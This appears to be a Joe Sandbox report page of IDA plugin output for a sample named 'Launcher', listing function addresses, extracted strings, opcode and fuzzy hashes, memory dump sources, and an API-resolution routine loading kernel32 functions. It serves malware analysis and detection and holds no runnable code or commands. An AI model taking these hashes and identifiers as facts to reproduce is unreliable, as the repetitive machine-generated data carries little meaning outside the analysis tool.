Strings

", xrefs: 0042BD38

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 67a9909f13c84bda9c902c05a983fdda779d17265ce718b46d8b7cf5fc1650fc
Instruction ID: b8070625620b0bc9f221c6e9060029e60e68ddcd4ffb9493ab494252952fbdc1
Opcode Fuzzy Hash: 67a9909f13c84bda9c902c05a983fdda779d17265ce718b46d8b7cf5fc1650fc
Instruction Fuzzy Hash: ABD12571B083299FC714CE25E48176BB7E5EF84314F48896EE99987382DB78DC0587C6

Function 0041CED0 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

/AG, xrefs: 0041CFA2

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: /AG
API String ID: 0-429173468
Opcode ID: 5bf9bc4743e92e801110c16e1e1a6798670fd257678139d8f1a4f53805c9afb8
Instruction ID: db9a0b4dfea41108335f0a407c7d33345c3d109be444455fd645843256c24d7d
Opcode Fuzzy Hash: 5bf9bc4743e92e801110c16e1e1a6798670fd257678139d8f1a4f53805c9afb8
Instruction Fuzzy Hash: 2B6136B2610B018BC324CF25C9916A3BBF2FF96314F49995DC4D68BB95E738A806CB44

Function 0042D380 Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

bNLV, xrefs: 0042D534

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: bNLV
API String ID: 0-346797206
Opcode ID: 0013062a79eb5dbc58cabba1237e6767f189077d539472ca9c7babac2483338f
Instruction ID: afda5bf75f1f78cb49c648d636ab67f5a1453f3ecd0fd1dd5d0ff7308ee6564c
Opcode Fuzzy Hash: 0013062a79eb5dbc58cabba1237e6767f189077d539472ca9c7babac2483338f
Instruction Fuzzy Hash: EC5148B1608B814BD319CF38C8603E3BBA2AF93308F5DC5ADC1E24B356D77965468758

Function 0042D318 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

bNLV, xrefs: 0042D534

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: bNLV
API String ID: 0-346797206
Opcode ID: 0a4a9a8859d789d4f71a42b94f912eacdcaf339e6f1ceb799e64ce8c398cced0
Instruction ID: 27a159d7ac2624ea253f79df2db77bdd57b40a2df15003da0a9ee6f62b1e2e80
Opcode Fuzzy Hash: 0a4a9a8859d789d4f71a42b94f912eacdcaf339e6f1ceb799e64ce8c398cced0
Instruction Fuzzy Hash: DD515A70604B908AD326CF39D4903E3BBE2AF97308F58C5AEC1E60B356D6BD6546871C

Function 0042D0F6 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

.L6d, xrefs: 0042D154

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: .L6d
API String ID: 0-3689564033
Opcode ID: 52a1620b55584a0b3069d913d873da39473c9a49c859e39cccb799168cc7aa56
Instruction ID: b3b80b292b9c2592f918aecac32d9bf9aff12df46ab72a7f5f46870c8d66b613
Opcode Fuzzy Hash: 52a1620b55584a0b3069d913d873da39473c9a49c859e39cccb799168cc7aa56
Instruction Fuzzy Hash: 1C51F6B4A047508FE3258B39D4907B3BBE0EF67300F24489ED4E787392D278A5458B69

Function 0040DA43 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

SW, xrefs: 0040DA43

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: SW
API String ID: 0-625006655
Opcode ID: 869c7119e643443874cd61e064ba24bf401558557341c27c2f31387fee03dab2
Instruction ID: 5d9f2363fabf42677fb571d2220c82bc289fbd14246ff3687941838be9d0c232
Opcode Fuzzy Hash: 869c7119e643443874cd61e064ba24bf401558557341c27c2f31387fee03dab2
Instruction Fuzzy Hash: 4051267194C3938AD334DF39D861BABBAE1AFC6304F08893DD8D997692E7780504D786

Function 00439290 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

, xrefs: 00439345, 0043939E, 00439360, 004393A2

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 46ae62597b49b084656ba533626074b253d2be57493eef55916a1d20d10db3d5
Instruction ID: 5f1565635af4d5f91d3e1fbc5b9aff3f95ec9d96fa10469e2fbb41994dbd59c0
Opcode Fuzzy Hash: 46ae62597b49b084656ba533626074b253d2be57493eef55916a1d20d10db3d5
Instruction Fuzzy Hash: 543137B1A043006BE610AA15DC41B7BB3A8EF9E718F04653EFD86972D3E3B5DC15825A

Function 0040EA4F Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

7654, xrefs: 0040EA75

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654
API String ID: 2994545307-4024152101
Opcode ID: bed417bb34f37d25c7c923fb16c4ecbb63d8fcad9ac46b1c89647715ee02ff4a
Instruction ID: 07b2bc39b660a2127a801fcb1b0e8c0ba885f34615d13a0a3f58d585ff3512a4
Opcode Fuzzy Hash: bed417bb34f37d25c7c923fb16c4ecbb63d8fcad9ac46b1c89647715ee02ff4a
Instruction Fuzzy Hash: 573125346182409BD328CB25C491B7BB761AF91314F54893ED08B232E2CB399C52CF5B

Function 0042ADAB Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

, xrefs: 0042ADD5, 0042AEF5, 0042AF10, 0042ADF4

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-3019521637
Opcode ID: e3e5cbc5dd9bbf2317c34db2ffb6bb1115f1eabd1792bfa7cb93aa03cdf65a33
Instruction ID: 59d445325523166152dc146d909279a4f6499651f5095f3f0f56464fc1f6b4d1
Opcode Fuzzy Hash: e3e5cbc5dd9bbf2317c34db2ffb6bb1115f1eabd1792bfa7cb93aa03cdf65a33
Instruction Fuzzy Hash: 5821E5747486218BC7188F14A48193FB356FFA2314FA5511ED84247662D378DC639BCF

Function 00429813 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

, xrefs: 00429845, 00429860

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 4360b9a0dbcb048b31625e884e474d230f3ccf18c6803161638f971b72f92b1f
Instruction ID: ca349acebf200c130f07c25eb8c9f900c512d4fe60b0edf43c0723bea5fd6d56
Opcode Fuzzy Hash: 4360b9a0dbcb048b31625e884e474d230f3ccf18c6803161638f971b72f92b1f
Instruction Fuzzy Hash: CD01D274A04610CBDB149F10E99053FB7A1FB86314F58956DDA910B252D374DC00CB5E

Function 00428A9C Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

, xrefs: 00428AC5, 00428AE0

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 1afb893726f46772e7593d518e2cfa7ea3916efc63878d48ce905e34f30bf491
Instruction ID: de03f4f47443a8bd39c365dfb0ef4407cee9922f27402f28625e57e8ebf2b2aa
Opcode Fuzzy Hash: 1afb893726f46772e7593d518e2cfa7ea3916efc63878d48ce905e34f30bf491
Instruction Fuzzy Hash: FFF0AF30B0A2218BD614CF14B95113FFBE1AFD6320F69562EE48227651CB78E842C78F

Function 00405C20 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46058562c2914b172cae08c48a1055d684e203c1e75c7eba90490f348242528e
Instruction ID: 51b159df0d36f693b031eaab9385a80d08230fa316fccbb5eeefeff4cb7c6d8c
Opcode Fuzzy Hash: 46058562c2914b172cae08c48a1055d684e203c1e75c7eba90490f348242528e
Instruction Fuzzy Hash: 5DF1D2356087418FC724CF29C88066BFBE2EFD9304F08882DE5DA87791E679E914CB56

Function 0042CD67 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24e978d94e56725f1d1b472ecd9cf3898dfda095cfba4a6f6882cce1a2b1b29e
Instruction ID: d8a9fec0027e62857f9e7bfb6e5d6553db6d99cc1398c4a4585c21a2a51ac729
Opcode Fuzzy Hash: 24e978d94e56725f1d1b472ecd9cf3898dfda095cfba4a6f6882cce1a2b1b29e
Instruction Fuzzy Hash: BF9149756447408FE721CF35C8C1BA7BBE2EFA2304F58856ED0DA8B386DA39A406C755

Function 004294BD Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d32814b42b1c4023a689e78a7efeb042f14edfef4c22c81f02d20c71882a955d
Instruction ID: 880aa2baef86b0448762cace4d4ccd93be02fb106297aa52c3179b4be83c6bda
Opcode Fuzzy Hash: d32814b42b1c4023a689e78a7efeb042f14edfef4c22c81f02d20c71882a955d
Instruction Fuzzy Hash: 15811071A183218BC714CF28D85166BB3F1FFD6708F48892DE8858B390E779D905C79A

Function 00440CD0 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ece5df5b6cd9393a726ded35b5de15b49529ff404c918f7e2f0173a43e32689a
Instruction ID: 5c0c2071a4dcea8812aeb69c0a8b309c6f21e53569e031a8c36ce4244bbbab29
Opcode Fuzzy Hash: ece5df5b6cd9393a726ded35b5de15b49529ff404c918f7e2f0173a43e32689a
Instruction Fuzzy Hash: 5791E271A083118BD724CF58C480A2BB7F2FF89704F19892DEA854B351DB79EC25C789

Function 00402190 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553dfa5f3bbfa688dded42275a24ce6ca5cd46ad06b52228966fd15d9d5d520a
Instruction ID: d0e0070986afb1801afce02a0cda79511d46dc230b4459934c59a808afd21370
Opcode Fuzzy Hash: 553dfa5f3bbfa688dded42275a24ce6ca5cd46ad06b52228966fd15d9d5d520a
Instruction Fuzzy Hash: 937139315483818BD7258A78994C367BBD19F52304F18897FD8C69B3C2D2BCC945D39A

Function 00439040 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b519613685f07e80bbd9a7bb98aeb69bda72d3d3ee017d028535196f28c4bf3b
Instruction ID: cd0b3e3533dd20fca185efeb8ae37a451f97122a8cedeb124bcf32d4b59a7fad
Opcode Fuzzy Hash: b519613685f07e80bbd9a7bb98aeb69bda72d3d3ee017d028535196f28c4bf3b
Instruction Fuzzy Hash: DC512374A00205DBEF048F69DC46BBFB7B1FB8A314F10552EEA15A7291D7B99C01CB98

Function 0040B989 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62470d2211a21ddd1af935ebe00ec76f225f8dc3dfb16d34274c3483cb670149
Instruction ID: 42addddd87d91ddbe1cf349074bdd9d0cf00f2e64c64de931b6530428438a1cb
Opcode Fuzzy Hash: 62470d2211a21ddd1af935ebe00ec76f225f8dc3dfb16d34274c3483cb670149
Instruction Fuzzy Hash: 11715779204B01CFDB248F21D894B57B7F5FB4A301F14882DE5AA876A1D771E919CF48

Function 0040B626 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ab4ca7fff76a47d068eee754a10f99cc795f7ca8f0d74a3a1a6a19be915fb3
Instruction ID: 2031b64c494bd07dc0a8d339c49fbe6ba61d9ab32cbe0a574a32405f6ed6b2c1
Opcode Fuzzy Hash: a4ab4ca7fff76a47d068eee754a10f99cc795f7ca8f0d74a3a1a6a19be915fb3
Instruction Fuzzy Hash: D5518779204B01CFDB248F21DC94B67B7B9FB0A301F10882DE5AA876A1D771E919CF58

Function 004393D0 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c53f7a2151e56eef5c59a7df9eda93d5b2c34911c251c26dec7387734fd79ff
Instruction ID: 8cd7e6e44a76840e0cf9c864b4dc42ee17bbf449749c8835b13b38f734b63783
Opcode Fuzzy Hash: 4c53f7a2151e56eef5c59a7df9eda93d5b2c34911c251c26dec7387734fd79ff
Instruction Fuzzy Hash: E751807550C3940BC7258A2884902BBF7E29BDE308F185A6EF8D68B387D17CDD46C785

Function 00428F5D Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3428ae193c7bcd2e174d8a32087c8df524dc9356a0fe233551d390cfdcb49e04
Instruction ID: 24a54a2c8675229cdaea495314ee0bf535e293b52c9439375662e7bc93ac26ca
Opcode Fuzzy Hash: 3428ae193c7bcd2e174d8a32087c8df524dc9356a0fe233551d390cfdcb49e04
Instruction Fuzzy Hash: 7F3129B6A483509BD310CF19D8806ABBBE2BFD4718F088A2DE4C557345CB34D90ACBD6

Function 00408E00 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3940700e1baaa0d0eeee129a3909170ae08500f5026dffdff98a13603b77694a
Instruction ID: 11f603fb0d9f721776d2b97ae2b39e9d4217bc6374cc303b5386588e03e1bb29
Opcode Fuzzy Hash: 3940700e1baaa0d0eeee129a3909170ae08500f5026dffdff98a13603b77694a
Instruction Fuzzy Hash: 1521E533A52A184BD3108D69CC80796729297DD338F3E46B989749B7D2D87B6C1386C4

Function 00435E10 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 65453c637e7d10ab468198b684bbdf40907617de88f130c8a64cfe96f977c526
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: CF112933A045E44EC3128E3C8400565BFE30A97635F5D539AF4B89B2D2D62A8E8A8359

Function 0042B450 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd737344ac88ef9878c80e5d4e4098b04a22f2bbfbe13be4050065726199be3
Instruction ID: fa038fc164eeecd97fe6772c4f5c4ecdd241b064536ba8883c776843f79b63ce
Opcode Fuzzy Hash: 0dd737344ac88ef9878c80e5d4e4098b04a22f2bbfbe13be4050065726199be3
Instruction Fuzzy Hash: C10192B570071147D620AE55A4D0727A3A8DF90B08F48843EDA449B743EB7EFC0487D9

Function 0042E388 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739e20d83a75b12cc4edc0c0cb4c03b76f2ec2cbdeb089ca078a816bd730316f
Instruction ID: ab629cee7c6d59a73fa31a6ef5f2130a65cb21d096da26a4ed122ccb78a54fc1
Opcode Fuzzy Hash: 739e20d83a75b12cc4edc0c0cb4c03b76f2ec2cbdeb089ca078a816bd730316f
Instruction Fuzzy Hash: 971129696447808FD319CB3AD8543A3BBA35FD7210F5C85AEC4D58B386CB385407C316

Function 00422776 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2c1597807e07014396e67b3087708c85ca5cdec378a0f3833d6b9652d686c78
Instruction ID: 8a03683c1672b3882a45e19e6ca236dd169e47525db707a9347a8ccc0bc35e0e
Opcode Fuzzy Hash: c2c1597807e07014396e67b3087708c85ca5cdec378a0f3833d6b9652d686c78
Instruction Fuzzy Hash: 8701D43064C3516BE300DF64E856B6BBBE4DB92304F549C2DF08097252EB78D60A875A

Function 0042CD62 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59b0d329a4713a373ddf3faf30a698ba87af2c1adf7a79306f4269258a6df32d
Instruction ID: 81cdd60912a32447842a30ee473c6ea26498f306dd56cb5fe75476b0e5a86237
Opcode Fuzzy Hash: 59b0d329a4713a373ddf3faf30a698ba87af2c1adf7a79306f4269258a6df32d
Instruction Fuzzy Hash: 7401DB35A14740CFE724CF35D445BA377E29B52304F08846DD0CB9B356C6796405CB59

Function 0040BEB1 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb268d8788da9834873df3f7ec4d4cafb1614ec54c6f70f9c1df89b9735a9ad
Instruction ID: db7a20aa1f5cd9bcf6f29cfc8e7f396a982dd41fada3cd5c80b4433a2b6e395f
Opcode Fuzzy Hash: 9cb268d8788da9834873df3f7ec4d4cafb1614ec54c6f70f9c1df89b9735a9ad
Instruction Fuzzy Hash: B9D0C22064B7C44BC3170B309940163BF329F93110F095ADEC0C11B497C255E406C39D

Function 00249CC2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00249CD6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00249CE4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00249CF5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00249D06
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00249D17
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00249D28
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00249D39
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00249D4A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00249D5B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00249D6C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00249D7D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00249D8E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00249D9F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00249DB0
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00249DC1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00249DD2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00249DE3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00249DF4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00249E05
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00249E16
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00249E27
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00249E38
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00249E49
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00249E5A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00249E6B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00249E7C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00249E8D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00249E9E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00249EAF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00249EC0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00249ED1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00249EE2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00249EF3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00249F04
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00249F15
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00249F26
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00249F37
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00249F48
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00249F59
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00249F6A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00249F7B

Strings

CreateSemaphoreW, xrefs: 00249D50
FlsAlloc, xrefs: 00249CDE
SetFileInformationByHandle, xrefs: 00249E60
WaitForThreadpoolTimerCallbacks, xrefs: 00249D94
FlsGetValue, xrefs: 00249CFB
FlsFree, xrefs: 00249CEA
CloseThreadpoolWait, xrefs: 00249DD8
CreateSemaphoreExW, xrefs: 00249D61
GetCurrentProcessorNumber, xrefs: 00249E0B
CreateThreadpoolWork, xrefs: 00249F1B
CreateEventExW, xrefs: 00249D3F
TryAcquireSRWLockExclusive, xrefs: 00249EE8
CreateThreadpoolTimer, xrefs: 00249D72
InitOnceExecuteOnce, xrefs: 00249D2E
WakeAllConditionVariable, xrefs: 00249EA4
GetFileInformationByHandleEx, xrefs: 00249E4F
InitializeConditionVariable, xrefs: 00249E82
SubmitThreadpoolWork, xrefs: 00249F2C
ReleaseSRWLockExclusive, xrefs: 00249EF9
InitializeSRWLock, xrefs: 00249EC6
GetLocaleInfoEx, xrefs: 00249F5F
WakeConditionVariable, xrefs: 00249E93
InitializeCriticalSectionEx, xrefs: 00249D1D
CloseThreadpoolTimer, xrefs: 00249DA5
SetThreadpoolTimer, xrefs: 00249D83
kernel32.dll, xrefs: 00249CD1
CreateThreadpoolWait, xrefs: 00249DB6
FlsSetValue, xrefs: 00249D0C
FreeLibraryWhenCallbackReturns, xrefs: 00249DFA
AcquireSRWLockExclusive, xrefs: 00249ED7
CloseThreadpoolWork, xrefs: 00249F3D
FlushProcessWriteBuffers, xrefs: 00249DE9
SleepConditionVariableCS, xrefs: 00249EB5
GetSystemTimePreciseAsFileTime, xrefs: 00249E71
CompareStringEx, xrefs: 00249F4E
GetCurrentPackageId, xrefs: 00249E2D
GetTickCount64, xrefs: 00249E3E
LCMapStringEx, xrefs: 00249F70
SetThreadpoolWait, xrefs: 00249DC7
CreateSymbolicLinkW, xrefs: 00249E21
SleepConditionVariableSRW, xrefs: 00249F0A

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: AddressProc$HandleModule
